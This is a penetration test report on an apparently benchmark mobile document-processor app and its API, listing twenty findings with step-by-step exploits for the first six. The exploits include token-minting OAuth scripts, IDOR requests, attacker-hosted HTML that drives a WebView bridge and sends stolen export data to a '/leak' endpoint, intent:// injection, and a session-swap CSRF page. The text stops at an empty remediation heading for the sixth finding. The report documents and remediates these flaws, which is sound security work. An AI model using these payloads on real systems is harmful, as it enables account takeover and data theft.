aikido

30 October 2026

Penetration Test Report

iOS Document Processor API Security Assessment

For Aikido-pentest-benchmarks



Table of contents

1. Executive Summary

1.1 Confidentiality Statement 3
1.2 Report Overview 3

2. Findings

2.1 Vulnerability Distribution 4
2.2 Master Findings Table 5
2.3 Detailed Findings 7

Appendices

A. Scope & Methodology 40
B. Vulnerability Coverage 41
C. Glossary 42

1. Executive Summary

1.1 Confidentiality Statement

This document is the exclusive property of **Aikido-pentest-benchmarks** and **Aikido**. This document contains proprietary and confidential information. Duplication, redistribution, or use, in whole or in part, in any form, requires the consent of Aikido-pentest-benchmarks. Aikido-pentest-benchmarks may share this document with auditors under non-disclosure agreements to demonstrate penetration test requirement compliance.

1.2 Report Overview

On **30 October 2026**, Aikido performed a penetration test for Aikido-pentest-benchmarks. The objective was to identify vulnerabilities that could affect the confidentiality, integrity, or availability of the assessed targets. Testers simulated realistic attack activity against those targets, documented any identified findings and their impact, and provided recommended remediation.

Testing was limited to the following targets:

- Package Name: **ch.aikido.docprocessor**
- **https://api-doc-processor-ios.aikido-benchmarks.apagnan.ch**

The evaluation resulted in 1 critical, 7 high, 6 medium and 6 low findings and revealed that there are several opportunities to strengthen the cybersecurity posture of the environment. The environment shows a foundational commitment to security, but targeted improvements are recommended to reduce the likelihood and impact of compromise.

Identified Improvement Points

The app's authentication and session management mechanisms present opportunities for meaningful improvement. The OAuth flow and deep-link handling on both platforms lack sufficient validation controls, which could allow an attacker to interfere with user sessions or redirect authentication callbacks in unintended ways. Strengthening these flows with proper state validation and strict redirect URI enforcement would significantly reduce exposure in this area.

Access control across the backend API would benefit from a thorough review. Several endpoints appear to enforce authentication without adequately verifying whether the requesting user has the appropriate role or ownership rights, allowing one user to potentially access or act on another user's documents or perform privileged operations. Applying consistent authorization checks at the API level, tied to both identity and role, would address the majority of these concerns.

The app's network communication and local data handling introduce a number of lower-risk but worthwhile hardening opportunities. The Android app currently permits unencrypted traffic and trusts user-installed certificates, which weakens the protection offered by TLS, and sensitive data stored locally may be accessible through device backup mechanisms. Tightening the network security configuration, ensuring TLS validation is enforced in the API client, and reviewing what data is eligible for backup would collectively improve the app's resilience against device-level and network-level threats.

Conclusion

This engagement identified 20 findings that could impact the confidentiality, integrity, and availability of the environment if left unaddressed. We recommend following the detailed remediation guidance in this report and validating each fix through structured retesting.

2. Findings

2.1 Vulnerability Distribution



Critical	High	Medium	Low
0/1 solved	0/7 solved	0/6 solved	0/6 solved

The table below outlines each identified vulnerability, categorized by severity and current remediation status.

- **Critical-severity issues** involve an unauthenticated OAuth authorization flow that allows attackers to fully take over analyst accounts without any credentials.
- **High-severity issues** include insecure direct object references, WebView bridge abuse, missing role authorization, disabled TLS validation, and a path traversal vulnerability in the local transfer server, all of which could enable unauthorized data access, privilege escalation, session hijacking, or man-in-the-middle attacks against the app and its backend API.
- **Medium-severity issues** encompass unrestricted OCR data retrieval, restricted document preview bypasses, cleartext HTTP traffic, user-trusted certificate authorities, and an open redirect in the identity provider, which could collectively lead to sensitive document data exposure and facilitation of phishing or interception attacks.
- **Low-severity issues** include extractable app data via Android backup, forged telemetry injection, hardcoded cryptographic keys, an expiring certificate, weak TLS cipher suites, and missing security headers, which could contribute to data leakage, integrity issues, or weakened transport security over time.

2.2 Master Findings Table

ID	Title	State	Severity
PT-1	Unauthenticated OAuth authorize flow allows analyst account takeover	Unresolved	Critical
PT-2	IDOR in /v1/documents/:id permits analyst access to peer-owned documents	Unresolved	High
PT-3	Deep-link controlled WebView bridge in PreviewActivity enables authenticated API action and data exfiltration	Unresolved	High
PT-4	Untrusted WebView content can launch arbitrary intent:// URIs and invoke internal app actions	Unresolved	High
PT-5	Missing role authorization on document approval endpoint enables analyst privilege escalation	Unresolved	High
PT-6	OAuth deep-link callback in MainActivity lacks state validation, enabling forced session swap	Unresolved	High
PT-7	TLS certificate and hostname validation are disabled in ApiClient	Unresolved	High
PT-8	Path traversal in Android LocalTransferServer exposes app-private files over HTTP	Unresolved	High
PT-9	Restricted-document OCR data is retrievable via /v1/ocr without unlock enforcement	Unresolved	Medium
PT-10	Exported docprocessor deep-link can trigger unauthorized document approvals in active sessions	Unresolved	Medium
PT-11	Restricted document preview bypass exposes plaintext before unlock	Unresolved	Medium
PT-12	Global cleartext HTTP traffic is permitted by Android network configuration	Unresolved	Medium
PT-13	Network security config trusts user-installed certificate authorities	Unresolved	Medium
PT-14	Open redirect in /idp/authorize via unvalidated redirect_uri	Unresolved	Medium
PT-15	Sensitive app data can be extracted via Android backup	Unresolved	Low

ID	Title	State	Severity
PT-16	Unauthenticated analytics endpoint allows forged telemetry injection	Unresolved	Low
PT-17	Cryptographic keys are hardcoded in Android source code	Unresolved	Low
PT-18	Certificate about to expire	Unresolved	Low
PT-19	Weak TLS cipher suites accepted	Unresolved	Low
PT-20	Missing or Misconfigured Security Headers	Unresolved	Low

2.3 Detailed Findings

2.3.1 PT-1 - Unauthenticated OAuth authorize flow allows analyst account takeover

Critical

Identified on: October 30th 2026

Description

The /idp/authorize endpoint issues an authorization code without any user authentication and binds it to the analyst account, and /idp/token exchanges that code for a valid bearer token. This behavior allows an unauthenticated attacker to obtain analyst access tokens and call protected API endpoints such as /v1/documents. Unauthorized access to analyst-scoped data and actions is therefore possible.

Business Impact

This issue enables practical account takeover of the analyst identity through an unauthenticated path. Protected business data exposed to analyst users, such as assigned document metadata and associated workflow context, can be accessed by anyone able to reach the API endpoints. Unauthorized actions available to that role may also be performed, affecting data confidentiality and operational integrity. Likelihood is high because exploitation is straightforward, requires no brute force or complex preconditions, and was validated with a short request chain. The attack surface is internet-facing API functionality and relies on predictable endpoint behavior rather than environmental edge cases. From a compliance perspective, unauthorized access to internal or confidential document records may constitute a reportable security incident depending on data classification and jurisdictional obligations. Audit and trust impacts are significant because access is gained without credentials and may appear as legitimate analyst activity unless additional detection controls exist.

How to Exploit

Step 1: Submit an unauthenticated authorization request to obtain an OAuth code in the redirect target. Do not include any session cookie or Authorization header.

```
GET /idp/authorize?client_id=docprocessor-ios&redirect_uri=https%3A%2F%2Fapi-doc-processor-ios.aikido-benchmarks.apagnan.ch%2Fcallback&stat
e=atkstate HTTP/2
Host: api-doc-processor-ios.aikido-benchmarks.apagnan.ch
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0
```

Step 2: Run the validated end-to-end script to exchange the unauthenticated code for a bearer token and use it against a protected endpoint.

```
import requests, urllib.parse, json
base='https://api-doc-processor-ios.aikido-benchmarks.apagnan.ch'

s=requests.Session()
# Explicitly avoid redirects so we can inspect raw 302 response
r1=s.get(base+'/idp/authorize',params={
    'client_id':'docprocessor-ios',
    'redirect_uri':base+'/callback',
    'state':'atkstate'
},allow_redirects=False,timeout=20)
print('authorize_status',r1.status_code)
print('authorize_set_cookie',r1.headers.get('Set-Cookie'))
loc=r1.headers.get('Location','')
print('authorize_location',loc)
if not loc:
    raise SystemExit('No Location header from /idp/authorize')
qs=urllib.parse.parse_qs(urllib.parse.urlparse(loc).query)
code=qs.get('code',[''])[0]
print('code',code)

r2=s.post(base+'/idp/token',json={'code':code},timeout=20)
print('token_status',r2.status_code)
print('token_body',r2.text)
obj=r2.json()
access=obj.get('accessToken')
print('token_user_email', (obj.get('user') or {}).get('email'))

r3=s.get(base+'/v1/documents',headers={'Authorization':'Bearer '+access},timeout=20)
print('docs_status',r3.status_code)
```

```
print('docs_body',r3.text)

# control test: same endpoint without token should fail
r4=s.get(base+'/v1/documents',timeout=20)
print('docs_no_token_status',r4.status_code)
print('docs_no_token_body',r4.text)
```

Step 3: Confirm that the protected resource is reachable only when the attacker-minted bearer token is supplied, demonstrating authentication bypass through the OAuth flow.

Remediation

Implement the following measures to eliminate this vulnerability:

- Require an authenticated user session before issuing any authorization code in `/idp/authorize`, and reject unauthenticated authorize requests with 401.
- Bind authorization codes to the currently authenticated user context instead of a hardcoded account identity; remove static account mapping entirely.
- Enforce strict redirect URI allowlisting per client and require exact-match registered callback URIs.
- Implement full OAuth authorization code safeguards: short code TTL, one-time use (already partially present), PKCE verification, and robust `state` validation tied to server-side session state.
- Add negative security tests that assert `/idp/authorize` cannot issue a code without prior login and that `/idp/token` cannot mint tokens from unauthenticated flows.
- Add monitoring and alerting for unusual `/idp/authorize` and `/idp/token` patterns (high volume, repeated cross-origin redirect URIs, rapid token issuance) and revoke previously issued tokens if abuse is detected.

References

CVSS 9.3: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N

CWE-306: Missing Authentication for Critical Function

2.3.2 PT-2 - IDOR in /v1/documents/:id permits analyst access to peer-owned documents

High

Identified on: October 30th 2026

Description

Ownership checks are absent in the document detail endpoint, so any authenticated analyst can fetch documents belonging to other users when a valid document ID is known. This was demonstrated by using an analyst session to retrieve both an owned document (ownerId usr_analyst) and a peer-owned document (ownerId usr_peer) from the same endpoint with HTTP 200 responses. Cross-user document metadata and preview content are therefore exposed.

Business Impact

Cross-user document access allows unauthorized disclosure of business data across analyst accounts. Exposed fields include ownership metadata, document classifications/statuses, content hashes, and preview text, which may contain operational or sensitive business content. The likelihood of exploitation is high because object IDs were retrievable from normal API responses and then reused directly against the detail endpoint. The ID format is also structured and low-entropy, which further reduces attacker effort once a naming pattern is observed. If production data is affected, this can create reportable confidentiality incidents and violate least-privilege and data-segregation requirements (for example, GDPR/ISO 27001/SOC 2 control expectations around access control and need-to-know enforcement).

How to Exploit

Step 1: Authenticate to the application as Test user 2 and obtain a valid analyst bearer token. Then request the analyst document list to confirm accessible IDs and verify that `doc_peer_003` is not included in the list response.

```
import requests, json
base='https://api-doc-processor-ios.aikido-benchmarks.apagnan.ch'
token='<ANALYST_BEARER_TOKEN>'
headers={'Authorization':'Bearer '+token,'Accept':'application/json'}
r=requests.get(base+'/v1/documents',headers=headers,timeout=20)
print('status',r.status_code)
print(r.text[:2000])
if r.ok:
    ids=[d.get('id') for d in r.json().get('items',[])]
    print('contains doc_peer_003?', 'doc_peer_003' in ids)
    print('ids',ids)
```

Step 2: Submit a detail request for an analyst-owned document that includes a reference to another document ID in `bodyPreview` (`doc_peer_003`).

```
GET /v1/documents/doc_notice_005
Host: ios.lorte.software
accept: */*
authorization: Bearer <ANALYST_BEARER_TOKEN>
accept-encoding: gzip, deflate, br
user-agent: DocumentProcessor/1 CFNetwork/3860.600.12 Darwin/25.5.0
priority: u=3
accept-language: en-US,en;q=0.9
```

Step 3: Request a known analyst-owned document through the same endpoint as a baseline authorization check.

```
GET /v1/documents/doc_intake_001
Host: ios.lorte.software
accept: */*
authorization: Bearer <ANALYST_BEARER_TOKEN>
accept-encoding: gzip, deflate, br
user-agent: DocumentProcessor/1 CFNetwork/3860.600.12 Darwin/25.5.0
priority: u=3
accept-language: en-US,en;q=0.9
```

Step 4: Replay the same endpoint with the peer-owned ID obtained above (`doc_peer_003`) using the same Test user 2 token.

```
GET /v1/documents/doc_peer_003
Host: ios.lorte.software
accept: */*
authorization: Bearer <ANALYST_BEARER_TOKEN>
accept-encoding: gzip, deflate, br
user-agent: DocumentProcessor/1 CFNetwork/3860.600.12 Darwin/25.5.0
priority: u=3
accept-language: en-US,en;q=0.9
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Add an explicit object-level authorization check in `GET /v1/documents/:id` to allow access only when `req.user.role === 'supervisor'` or `doc.ownerId === req.user.id`; otherwise return 403.
- Apply a centralized authorization helper/middleware for document read actions so list, detail, export, OCR, and approval paths use the same policy and cannot drift.
- Reduce ID exposure by removing cross-document identifiers from analyst-visible fields unless strictly required; avoid embedding peer document IDs in preview payloads returned to non-privileged users.
- Migrate document identifiers to high-entropy opaque IDs (for example UUIDv4) to reduce predictability, while treating this as defense-in-depth rather than a primary fix.
- Add automated authorization tests for BOLA/IDOR cases (owned, peer-owned, nonexistent IDs) and enforce them in CI to prevent regressions.

References

CVSS 7.1: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CWE-639: Authorization Bypass Through User-Controlled Key

2.3.3 PT-3 - Deep-link controlled WebView bridge in PreviewActivity enables authenticated API action and data exfiltration

High

Identified on: October 30th 2026

Description

An exported deep-link entry in MainActivity was shown to pass attacker-controlled `page` URLs into PreviewActivity, where remote content is loaded in a privileged WebView with JavaScript enabled and a native `DP` bridge exposed. The bridge was demonstrated to execute authenticated backend actions (`POST /v1/exports`) from attacker HTML and return the response to JavaScript, which was then exfiltrated to an attacker endpoint. This allows cross-context abuse of the signed-in user session and exposure of document export data.

Business Impact

This issue enables cross-context abuse of a signed-in mobile session. Attacker-controlled web content can perform backend actions as the victim user and receive the resulting data, which can lead to unauthorized exports and disclosure of document metadata and previews. The likelihood of exploitation is elevated because the entry point is a browsable deep link on an exported activity, making delivery through chat, email, QR code, or another app straightforward. The victim interaction requirement is limited to opening the link while authenticated, and no privileged device state is needed. From a business perspective, this can undermine confidentiality and workflow integrity for internal documents and approval/export operations. Depending on the document content and jurisdiction, unauthorized exposure of internal records may create contractual, regulatory, or privacy-reporting obligations.

How to Exploit

Step 1: Confirm that the crafted deep link resolves to the exported app entry point.

```
adb shell cmd package resolve-activity --brief -a android.intent.action.VIEW -d 'docprocessor://evil?page=https%3A%2F%2Fc4107e072564baea.staging-aikido-proxy.com%2Fpayload'
```

Step 2: Ensure the app is signed in as Test user 2, then host attacker-controlled HTML that calls `window.docProcessor.export('doc_ready_004')` and exfiltrates `documentExport` event data to `/leak`.

```
import http.server, socketserver, urllib.parse, json, sys
HOST='0.0.0.0'
PORT=80
PUBLIC='https://c4107e072564baea.staging-aikido-proxy.com'
DOC_ID='doc_ready_004'

payload=f'''<!doctype html><html><body><h1>preview test</h1>
<script>
function trigger() {{
 try {{
  if (window.docProcessor && window.docProcessor.export) {{
   window.docProcessor.export('{DOC_ID}');
   return true;
  }}
 }} catch(e) {{}}
 return false;
}}
window.addEventListener('documentExport', function(e) {{
 var data='';
 try {{ data = JSON.stringify(e.detail); }} catch(err) {{ data='err:'+String(err); }}
 (new Image()).src='{PUBLIC}/leak?d='+encodeURIComponent(data);
}});
let tries=0;
let t=setInterval(function() {{
 tries++;
 if (trigger() || tries>20) clearInterval(t);
}}, 300);
</script></body></html>'''

class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        p=urllib.parse.urlparse(self.path)
        qs=urllib.parse.parse_qs(p.query)
        print(f"[HTTP] {self.client_address[0]} GET {self.path}", flush=True)
        if p.path == '/payload':
```

```
        b=payload.encode()
        self.send_response(200)
        self.send_header('Content-Type','text/html; charset=utf-8')
        self.send_header('Content-Length', str(len(b)))
        self.end_headers(); self.wfile.write(b)
      else:
        if p.path == '/leak':
          d=qs.get('d',[''])[0]
          print('[LEAK] '+urllib.parse.unquote(d), flush=True)
        b=b'ok'
        self.send_response(200)
        self.send_header('Content-Type','text/plain')
        self.send_header('Content-Length',str(len(b)))
        self.end_headers(); self.wfile.write(b)
  def log_message(self, format, *args):
    return

with socketserver.TCPServer((HOST,PORT),H) as s:
  print(f'Serving on {HOST}:{PORT}', flush=True)
  s.serve_forever()
```

Step 3: Trigger the deep link so the app loads the attacker page in PreviewActivity.

```
adb shell am start -a android.intent.action.VIEW -d 'docprocessor://evil?page=https%3A%2F%2Fc4107e072564baea.staging-aikido-proxy.com%2Fpayload' ch.aikido.docprocessor
```

Step 4: Inspect device HTTP(S) traffic and confirm the app performs an authenticated export request triggered by attacker HTML through the WebView bridge.

```
POST /v1/exports HTTP/1.1
Host: api-doc-processor-ios.aikido-benchmarks.apagnan.ch
Accept: application/json
Authorization: Bearer <redacted>
Content-Type: application/json
Content-Length: 30
User-Agent: Dalvik/2.1.0 (Linux; U; Android 15; sdk_gphone64_x86_64 Build/AE3A.240806.043)

{"documentId":"doc_ready_004"}
```

Step 5: Confirm exfiltration by observing the attacker endpoint request containing the encoded export response data.

```
GET /leak?d=%7B%22documentId%22%3A%22doc_ready_004%22%2C%22exportUrl%22%3A%22https%3A%2F%2Fdocprocessor.local%2Fexports%2Fdoc_ready_004.pdf%22%2C%22bodyPreview%22%3A%22Policy%20addendum%20describing%20document%20retention%20and%20export%20rules.%22%7D HTTP/1.1
Host: c4107e072564baea.staging-aikido-proxy.com
Referer: https://c4107e072564baea.staging-aikido-proxy.com/payload
X-Requested-With: ch.aikido.docprocessor
User-Agent: Mozilla/5.0 (Linux; Android 15; sdk_gphone64_x86_64 Build/AE3A.240806.043; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/124.0.6367.219 Mobile Safari/537.36
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Restrict deep-link handling in `MainActivity` to an explicit allowlist of trusted hosts and paths; reject or ignore arbitrary `page` URLs from external intents.
- Do not expose privileged JavaScript interfaces to remote/untrusted content. Only register `addJavascriptInterface` for local packaged content, or gate bridge calls with strict origin checks and per-action authorization.
- Remove automatic bridge bootstrap injection for remotely loaded pages, and separate help/preview rendering into a non-privileged WebView profile with JavaScript disabled by default.
- Require explicit user confirmation inside native UI before sensitive bridge actions such as export, and bind actions to the currently displayed document context rather than arbitrary attacker-supplied IDs.
- Harden WebView settings: disable universal/file URL access unless strictly required, and enforce safe browsing and strict navigation policy.

- Implement regression tests for deep-link routing and WebView bridge exposure to ensure attacker-controlled origins cannot trigger authenticated API calls or receive sensitive responses.

References

CVSS 8.4: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:H/SA:N

CWE-749: Exposed Dangerous Method or Function

2.3.4 PT-4 - Untrusted WebView content can launch arbitrary intent:// URIs and invoke internal app actions

High

Identified on: October 30th 2026

Description

The WebView handler in PreviewActivity was shown to execute any `intent:` URL through `Intent.parseUri(...)/startActivity(...)` without validating destination package, component, or allowed actions. By loading attacker-controlled remote content through the deep-link `page` flow, an explicit intent to a non-exported internal activity was triggered and an authenticated `POST /v1/exports` action was executed in the signed-in session. This enables cross-context intent injection from untrusted web content and unauthorized account actions.

Business Impact

Unauthorized actions can be performed in a victim's authenticated app session without direct API credentials being disclosed to the attacker. In the validated scenario, an export action was executed and returned document export metadata, demonstrating that account-scoped operations can be triggered cross-context from untrusted web content. The attack path combines a browsable deep link with untrusted WebView content and permissive intent execution, so delivery can be performed through common user-interaction channels such as links in messages or web pages. Because no integrity checks are applied to intent destinations, impact can extend to other internal app actions that rely on intent extras. This creates material integrity and confidentiality risk for document workflows, including unauthorized exports and potential data disclosure. For organizations handling regulated or sensitive documents, unauthorized action execution and exposure of export details may contribute to compliance and audit findings.

How to Exploit

Step 1: Sign in to the Android app as Test user 2, and keep the session active in the foreground.

Step 2: Host an attacker-controlled page at `/intentpayload` that redirects the WebView to an explicit `intent:` URI targeting `DocumentActionActivity` with `action=export` and a valid document ID.

```
import http.server, socketserver, urllib.parse
HOST='0.0.0.0'; PORT=80
PUBLIC='https://c4107e072564baea.staging-aikido-proxy.com'
DOC='doc_ready_004'
js_bridge=f"'<!doctype html><html><body><script>
window.addEventListener('documentExport',e=>{{(new Image()).src='{PUBLIC}/leak?src=bridge&d='+encodeURIComponent(JSON.stringify(e.detail));}});
let n=0;let t=setInterval(()=>{{n++; if(window.docProcessor&&window.docProcessor.export){{window.docProcessor.export('{DOC}');clearInterval(t);}} if
(n>20)clearInterval(t);}},300);
</script>bridge</body></html>'"
intent_uri=f"intent:#Intent;component=ch.aikido.docprocessor/.DocumentActionActivity;S.documentId={DOC};S.action=export;end"
js_intent=f"'<!doctype html><html><body><script>
setTimeout(()=>{{ location.href = "{intent_uri}"; }}, 300);
</script>intent</body></html>'"

class H(http.server.BaseHTTPRequestHandler):
  def do_GET(self):
    p=urllib.parse.urlparse(self.path); qs=urllib.parse.parse_qs(p.query)
    print(f"[HTTP] {self.client_address[0]} GET {self.path}", flush=True)
    if p.path == '/payload':
      b=js_bridge.encode(); ct='text/html; charset=utf-8'
    elif p.path == '/intentpayload':
      b=js_intent.encode(); ct='text/html; charset=utf-8'
    else:
      if p.path == '/leak': print('[LEAK]', urllib.parse.unquote(qs.get('d',[''])[0]), flush=True)
      b=b'ok'; ct='text/plain'
    self.send_response(200); self.send_header('Content-Type',ct); self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b)
  def log_message(self,*a): return

with socketserver.TCPServer((HOST,PORT),H) as s:
  print('Serving updated payloads on :80', flush=True)
  s.serve_forever()
```

Step 3: Trigger the deep link so the app loads the attacker page in `PreviewActivity`.

```
adb shell am start -W -a android.intent.action.VIEW -d 'docprocessor://evil?page=https%3A%2F%2Fc4107e072564baea.staging-aikido-proxy.com%2Fin
```

```
tentpayload' ch.aikido.docprocessor
```

Step 4: Inspect device HTTP(S) traffic and confirm that the attacker-controlled intent payload page was fetched by the app WebView.

```
GET /intentpayload HTTP/1.1
Host: c4107e072564baea.staging-aikido-proxy.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="124", "Android WebView";v="124", "Not-A.Brand";v="99"
sec-ch-ua-mobile: ?1
sec-ch-ua-platform: "Android"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; Android 15; sdk_gphone64_x86_64 Build/AE3A.240806.043; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 C
hrome/124.0.6367.219 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
X-Requested-With: ch.aikido.docprocessor
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
```

Step 5: Inspect subsequent traffic and confirm that an authenticated export action was executed automatically by the app after the intent URI was processed.

```
POST /v1/exports HTTP/1.1
Host: api-doc-processor-ios.aikido-benchmarks.apagnan.ch
Accept: application/json
Authorization: Bearer <redacted>
Content-Type: application/json
Content-Length: 30
User-Agent: Dalvik/2.1.0 (Linux; U; Android 15; sdk_gphone64_x86_64 Build/AE3A.240806.043)
Connection: Keep-Alive
Accept-Encoding: gzip

{"documentId":"doc_ready_004"}
```

Step 6: Optionally verify in the app UI that `DocumentActionActivity` opened and displayed the export result URL, confirming internal action execution from the untrusted WebView flow.

Remediation

Implement the following measures to eliminate this vulnerability:

- Block `intent:` handling from untrusted WebView content in `PreviewActivity`; return `true` without launching, or allow only a strict, minimal allowlist of safe external destinations.
- Treat `page` as untrusted input in deep-link routing and enforce a strict origin allowlist (scheme, host, and path) before loading into WebView.
- Split trusted and untrusted rendering contexts: do not expose privileged bridge/actions or internal intent launching capabilities in WebViews that can load remote content.
- Add caller-trust controls for sensitive internal actions (for example, one-time nonce/token generated in-app and validated by `DocumentActionActivity` before executing approve/export logic).
- Require explicit user confirmation for high-impact actions such as export/approve when initiated from deep-link or WebView-driven flows.
- Add security tests for deep-link and WebView interaction paths, including negative tests for `intent:` URL injection and component-targeted intent payloads.

References

CVSS 8.4: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N

CWE-939: Improper Authorization in Handler for Custom URL Scheme

2.3.5 PT-5 - Missing role authorization on document approval endpoint enables analyst privilege escalation

High

Identified on: October 30th 2026

Description

The endpoint POST /v1/documents/:id/approve was found to accept any authenticated user without enforcing a supervisor role check. An analyst session was able to approve a document successfully, even though approval is presented as a supervisor-only action in the mobile client. This permits unauthorized workflow state changes and breaks separation of duties for document review.

Business Impact

This issue breaks separation of duties in the review and approval workflow. A user assigned an analyst role can finalize approvals that are intended to require supervisory oversight, undermining process integrity, audit trust, and operational controls around document governance. Because exploitation only requires a standard authenticated session and a known document ID, the likelihood of abuse is moderate to high in environments where analysts can access or infer approvable document IDs. Unauthorized approvals can lead to downstream business decisions based on unreviewed content, compliance exceptions, and weakened non-repudiation in audit trails. In regulated environments, this may create control deficiencies where evidence of independent review is required (for example, internal control frameworks and policy-driven approval gates). Even without direct data exfiltration, unauthorized workflow completion can constitute a material integrity incident.

How to Exploit

Step 1: Authenticate as Test user 2 and obtain a valid bearer token for that session. Then run the following Python script against the target API to verify role, read the document state, perform approval, and re-check state.

```
import requests, json
base='https://api-doc-processor-ios.aikido-benchmarks.apagnan.ch'
analyst='<ANALYST_BEARER_TOKEN>'
H={'Authorization':f'Bearer {analyst}','Accept':'application/json','User-Agent':'Aikido-Triage/1.0'}

s=requests.Session()

def show(m,p,**kwargs):
    r=s.request(m,base+p,headers=H,timeout=20,**kwargs)
    print(f"{m} {p} -> {r.status_code}")
    try:
        print(json.dumps(r.json(),indent=2))
    except Exception:
        print(r.text)
    print('-'*70)
    return r

r_me = show('GET','/me')
r_before = show('GET','/v1/documents/doc_ready_004')
r_approve = show('POST','/v1/documents/doc_ready_004/approve',json={})
r_after = show('GET','/v1/documents/doc_ready_004')

print('SUMMARY')
print('role=', r_me.json().get('role') if r_me.status_code==200 else None)
print('before_status=', r_before.json().get('status') if r_before.status_code==200 else None)
print('approve_http=', r_approve.status_code)
print('approve_status=', r_approve.json().get('status') if r_approve.status_code==200 else None)
print('after_status=', r_after.json().get('status') if r_after.status_code==200 else None)
```

Step 2: Confirm that the same analyst session both passed authorization and changed workflow state from `ready_for_approval` to `approved`, demonstrating a missing server-side supervisor role check.

Remediation

Implement the following measures to eliminate this vulnerability:

- Add an explicit server-side authorization check in `POST /v1/documents/:id/approve` that allows only supervisor role (or a dedicated `document:approve` permission) before any state mutation occurs.

- Enforce approval state-transition rules on the backend (for example, only allow transition from `ready_for_approval` to `approved` when caller is authorized), and return `403 Forbidden` for unauthorized roles.
- Move authorization to reusable policy middleware/services so route handlers cannot bypass checks by omission.
- Add negative integration tests that assert an analyst token receives `403` on `/v1/documents/:id/approve`, and positive tests for supervisor tokens.
- Review adjacent privileged actions and deep-link-triggered approval calls to ensure all privileged operations rely on backend authorization rather than UI visibility.
- Add security monitoring for denied and successful approval attempts, including actor role and document ID, to detect misuse and support audit investigations.

References

CVSS 7.1: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

CWE-862: Missing Authorization

2.3.6 PT-6 - OAuth deep-link callback in MainActivity lacks state validation, enabling forced session swap

High

Identified on: October 30th 2026

Description

The Android deep-link handler accepts docprocessor://oauth callbacks and exchanges the supplied code without validating the OAuth state value before saving the returned session. This allows an external app or link to force a signed-in user into another account session (login CSRF/session swapping), as confirmed by traffic showing a supervisor token before the deep-link and an analyst token after it. Unauthorized account-context changes can lead to actions and data access under an unintended identity.

Business Impact

Unauthorized account-context replacement can cause users to perform actions and access data under an unintended identity. In operational terms, approvals, exports, and document interactions can be executed with the wrong privileges, creating integrity and accountability issues even when no explicit credential theft occurs. Likelihood is elevated because exploitation requires only delivery of a crafted deep link and a valid OAuth code, with no need to break cryptography or bypass device protections. The observed behavior was deterministic: callback state mismatch did not prevent token exchange or session overwrite. Business impact includes audit-log confusion, unauthorized workflow actions, and potential exposure of role-scoped data sets. In regulated environments, cross-account action attribution errors and unintended data access may trigger incident handling, reporting, or control-failure findings.

How to Exploit

Step 1: Sign in to the Android app as Test user 2, open Inbox, and trigger a documents refresh while intercepting device traffic. Capture the baseline documents request and decode the bearer token payload to confirm it represents a supervisor session.

```
GET /v1/documents HTTP/1.1
Host: api-doc-processor-ios.aikido-benchmarks.apagnan.ch
Accept: application/json
Authorization: Bearer <SUPERVISOR_JWT>
User-Agent: Dalvik/2.1.0 (Linux; U; Android 15; sdk_gphone64_x86_64 Build/AE3A.240806.043)
```

Step 2: Obtain a fresh OAuth authorization code from the IdP authorize endpoint using an attacker-controlled state value.

```
import requests, urllib.parse, secrets
base='https://api-doc-processor-ios.aikido-benchmarks.apagnan.ch'
state='attacker-'+secrets.token_hex(4)
r=requests.get(base+'/idp/authorize',params={'client_id':'docprocessor-ios','redirect_uri':'docprocessor://oauth','state':state},allow_redirects=False,timeout=20)
loc=r.headers.get('Location','')
q=urllib.parse.parse_qs(urllib.parse.urlparse(loc).query)
code=q.get('code',[None])[0]
ret_state=q.get('state',[None])[0]
print('status',r.status_code)
print('code',code)
print('state_sent',state)
print('state_returned',ret_state)
```

Step 3: Deliver the callback deep link to the app with the valid code from the previous step but a deliberately different state value.

```
shell "am start -W -a android.intent.action.VIEW -d 'docprocessor://oauth?code=9b5a9f46d07b93fc8add9865d2103da1&state=mismatch-different-value' -n ch.aikido.docprocessor/.MainActivity"
```

Step 4: Observe the app's token exchange request after the mismatched-state callback. The code is exchanged successfully and returns an analyst user, proving that callback state was not enforced.

```
POST /idp/token HTTP/1.1
Host: api-doc-processor-ios.aikido-benchmarks.apagnan.ch
Accept: application/json
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 15; sdk_gphone64_x86_64 Build/AE3A.240806.043)

{"code":"9b5a9f46d07b93fc8add9865d2103da1"}
```

Step 5: Capture the next documents request and decode the new bearer token payload. The session now represents analyst context, confirming forced session swap.

```
GET /v1/documents HTTP/1.1
Host: api-doc-processor-ios.aikido-benchmarks.apagnan.ch
Accept: application/json
Authorization: Bearer <ANALYST_JWT>
User-Agent: Dalvik/2.1.0 (Linux; U; Android 15; sdk_gphone64_x86_64 Build/AE3A.240806.043)
```

Step 6: Use this equivalent HTML CSRF-style delivery PoC to trigger the same deep link from web content on a device where the app is installed. Replace <OAUTH_CODE> with a freshly obtained value from the authorize response.

```
<!doctype html>
<html>
  <body>
    <a id="go" href="docprocessor://oauth?code=<OAUTH_CODE>&state=mismatch-different-value">Open DocumentProcessor callback</a>
    <script>
      document.getElementById('go').click();
    </script>
  </body>
</html>
```

Remediation

